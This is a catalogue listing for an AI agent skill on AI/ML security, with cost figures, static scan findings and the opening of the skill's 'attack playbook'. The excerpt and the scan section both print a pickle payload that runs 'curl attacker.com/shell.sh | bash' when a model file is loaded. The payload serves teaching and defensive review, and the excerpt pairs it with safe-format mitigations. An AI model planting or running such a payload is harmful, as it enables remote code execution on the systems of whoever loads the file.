ai-ml-security

ai-ml-security is a skill for Claude Code, Codex from yaklang/hack-skills. It costs 53 tokens per session (3,877 once invoked), scanned B, original, MIT.

A security guide for artificial-intelligence and machine-learning systems. It covers threats such as malicious model files, poisoned training data, misleading inputs, data leaks, model copying, and unsafe autonomous agents.

In plain words
What is it for?
Use it when assessing AI systems, model downloads, training pipelines, adversarial inputs, privacy risks, model theft, or autonomous-agent security.
Why use it?
It helps reviewers recognise attacks that are specific to models and AI pipelines. This reduces the chance of treating model files, training data, or agent actions as harmless by default.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is │ ├── Yes → Load [llm-prompt-injection](../llm-prompt-injection/SKILL.md).

About the project

HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.

yaklang/hack-skills · 2,098 stars · on GitHub

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/yaklang/hack-skills
agentmods
npx agentmods add skills/yaklang/hack-skills/ai-ml-security

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ai-ml-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/yaklang/hack-skills/ai-ml-security.svg)](https://agentmods.dev/skills/yaklang/hack-skills/ai-ml-security)
Your own site
<a href="https://agentmods.dev/skills/yaklang/hack-skills/ai-ml-security"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/ai-ml-security.svg" alt="Measured on agentmods" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,877 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.03877
Opus 5 $0.00026 $0.01938
Sonnet 5 $0.00011 $0.00775
Haiku 4.5 $0.00005 $0.00388

Measured 6d ago against content hash c0182081a9e5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade B, and why

ai-ml-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

return (os.system, ('curl attacker.com/shell.sh | bash',))

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

return (os.system, ('curl attacker.com/shell.sh | bash',))

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('curl attacker.com/shell.sh | bash',))
Origin

Copies of this mod

4 near-identical copies found in the catalogue:

skills/ai-ml-security/SKILL.md · 426 lines

How it starts

The opening of the file, as written. The whole thing — 426 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: AI/ML Security — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.


1. MODEL SUPPLY CHAIN ATTACKS

1.1 Malicious Model Files — Pickle RCE

Python's pickle module executes arbitrary code during deserialization. PyTorch .pt/.pth files use pickle by default.

import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | bash',))

with open('model.pt', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

Loading torch.load('model.pt') executes the embedded command. Applies to:

Format Risk Mitigation
.pt / .pth (PyTorch) Critical — pickle by default Use torch.load(..., weights_only=True) (PyTorch ≥ 2.0)
.pkl / .pickle Critical — raw pickle Never load untrusted pickles
.joblib High — uses pickle internally Verify provenance
.npy / .npz (NumPy) Mediumallow_pickle=True enables RCE Use allow_pickle=False
.safetensors Safe — tensor-only format, no code execution Preferred format
.onnx Safe — graph definition only, no arbitrary code Preferred for inference

Read the full file on GitHub · 426 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 426 lines · 53 tokens per session scan B c0182081a9e5

Subscribe to this mod's changes

ai-ml-security is a skill published in the GitHub repository yaklang/hack-skills (2,098 stars, last pushed 2mo ago), licensed MIT. It adds 53 tokens to every session and 3,877 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

agent-platform-rag-engine-management

Manage and query Agent Platform RAG Engine Corpora and retrieve grounded contexts using the Google GenAI SDK. Use when listing RAG corpora or files, inspecting a corpus, retrieving contexts, or generating content grounded in a RAG corpus. Do not use for standard database queries (use SQL/Spanner skills), Google…

google/skills · 85 tokens

agent-platform-model-registry

Agent Platform Model Registry Management. Use when you need to upload, list, describe, update, or delete machine learning models (and their versions) in the Agent Platform Model Registry. Don't use for model training, model deployment to endpoints, or managing non-Agent Platform models.

google/skills · 60 tokens

foundry-config-setup

Resolve missing setup caused by a hardcoded Foundry project endpoint or model in a sample. Use when a sample fails because it uses a placeholder/hardcoded projectendpoint (for example "https://your-project.services.ai.azure.com") or a hardcoded model instead of reading them from the environment.

microsoft/agent-framework · 65 tokens

google-cloud-solution-agentic-analytics-spark-knowledge-catalog

Discovers requirements and generates guidance to design and deploy a governed, secure agentic-analytics solution for data that's distributed across Google Cloud, other cloud providers, or on-premises. Data that's outside Google Cloud (such as data from Databricks, Snowflake, Salesforce, SAP, or Oracle systems) is…

google/skills · 138 tokens

training-check

Interactively monitor training metrics from the current Codex session, periodically checking WandB or fallback logs for NaN, divergence, plateaus, and broken runs.

wanshuiyin/Auto-claude-code-research-in-sleep · 35 tokens

nemo-automodel-launcher-config

Configure NeMo AutoModel job launches for interactive runs, Slurm clusters, and SkyPilot cloud execution.

NVIDIA/skills · 30 tokens